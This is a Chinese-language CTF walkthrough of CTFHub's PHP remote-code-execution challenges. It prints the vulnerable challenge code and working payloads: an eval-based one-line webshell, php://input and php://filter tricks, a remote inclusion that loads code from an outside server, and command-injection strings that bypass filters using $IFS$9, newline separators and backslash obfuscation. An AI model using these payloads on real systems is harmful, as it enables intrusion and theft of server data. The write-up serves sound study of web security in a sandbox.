Web安全基礎 - RCE CTFhub
題目來自CTFHub,Web方向技能樹Rce部分https://www.ctfhub.com/#/skilltree
基本介紹
遠程命令/代碼執行漏洞,簡稱RCE漏洞,可以讓攻擊者直接向后臺服務器遠程注入作業系統命令或者代碼,
為了實作特定效果,后臺有時候也會把用戶的輸入作為代碼的一部分進行執行,服務器沒有針對執行函式做過濾就執行命令時就會產生該漏洞,
php可能產生RCE的常見函式:
PHP代碼執行函式:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令執行函式:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
eval執行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
$_REQUEST既可以接收get引數,又可以接受post引數,
eval函式可以執行php代碼,直接寫一句話木馬
http://challenge-8f3b358611f6002d.sandbox.ctfhub.com:10800/?cmd=$_POST[%22cmd%22]

doughnuts連接成功
在目錄簡單找一下就能發現flag,一般都在根目錄

檔案包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
i have a <a href="https://www.cnblogs.com/sanyic/p/shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?
題目給出了shell.txt,不用再寫一句話木馬了,我們包含一下,

根目錄下cat flagctfhub{4b4829e63f7df5d8916a07a9}
php://input
php://input是php語言中一個只讀的資料流;通過"php://input",可以讀取從Http客戶端以POST方式提交、請求頭“Content-Type”值非"multipart/form-data"的所有資料;"php://input"一般用來讀取POST上來,除已被處理以外的剩余資料,
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="https://www.cnblogs.com/sanyic/p/phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
可以發現這里的phpinfo其實是include包含的內容,
在hackbar內直接POST無法得到命令執行的結果,使用BurpSuite可以,不知為何,
這里使用HackBar進行post請求,在BurpSuite內添加<?php systeam("ls /"); ?>
重復上述,添加上<?php systeam("cat flag_6452"); ?>

讀取源代碼
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag
這兩道題目其實是考察了php偽協議的知識點,具體可以參考https://segmentfault.com/a/1190000018991087
在CTF中,我們經常通過php://filter來讀取原始碼,php://input來執行php代碼,

payload:http://challenge-472c4ff336f650c4.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

遠程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="https://www.cnblogs.com/sanyic/p/phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
和檔案包含那道題類似,但是這里沒有給我們直接可以執行的webshell,因為是RFI,所以我們向另一個服務器上上傳再構造payload即可,
http://challenge-a05e7408f6523c66.sandbox.ctfhub.com:10800/?file=http:/xxx:81/upload/eval.php
命令注入
無過濾注入
我們使用;或者|運算子,ls確定檔案;ls -l然后;cat 245262950117066.php|base64
這里直接cat沒有回顯,推測是輸出被瀏覽器解釋為注釋,轉換為base64發現回顯,或者用F12查看頁面原始碼也可以發現回顯(快做完了才發現
解密后得到
過濾cat
思路和上一題一樣,先看有沒有檔案
(!preg_match_all("/cat/", $ip, $m))
這里只過濾了cat,我們還有很多其他指令可以達到類似效果head,tail,more,less,tac,sed,vi,vim,grep,od,sort,uniq,file -f,nl
payload:|head flag_xxx.php |base64
ctfhub{92f1d0742dee48139e82b483}
過濾空格
空格過濾可以使用linux下的$IFS$9來代替
常見的空格繞過符號有:
$IFS$9 、${IFS} 、%09(php環境下)、 重定向符<>、<、
payload:;cat$IFS$9flag_2798498929898.php|base64
過濾目錄分隔符
這次flag在一個叫flag_is_here的檔案夾里,不使用/即可;cd flag_is_here;cat *|base64
回顯如下:
Array
(
[0] => PD9waHAgLy8gY3RmaHViezFiYTJhMDFhMGIwNmZlZGFiNzZkNmY4Nn0K
)
ctfhub{1ba2a01a0b06fedab76d6f86}
過濾運算子
過濾了(||&)幾種運算子
不使用管道運算子介面
payload:
1 : ;ls 2 : ;base64 flag_140863035031052.php > a 3 : ;cat a
綜合過濾練習
過濾了(||&|;| |/|cat|flag|ctfhub)
利用linux下一類少見的命令分隔符:%0a、%0d、%0D%0A,其實也就是回車和換行來分割ping,
字串的過濾可以利用十六進制編碼或者\和'等符號來繞過
這道題直接在輸入框里面輸入的話%會被url編碼為%25,所以直接構造url即可,
http://challenge-e6c4aa017ced01ae.sandbox.ctfhub.com:10800/?ip=%0Acd$IFS$9f\lag_is_here%0Abase64$IFS$9fl\ag_211411285528280.php%3Ea

總結
總的來說這套題目相對簡單,沒有很偏很怪的考點但是也不是特別全面,比如https://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/"這篇里的內容很多就沒有考察到(
還是要做更多題才能讓自己的知識體系更全面,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538537.html
標籤:其他
上一篇:如何通過 kubectl 進入 node shell
下一篇:資訊收集
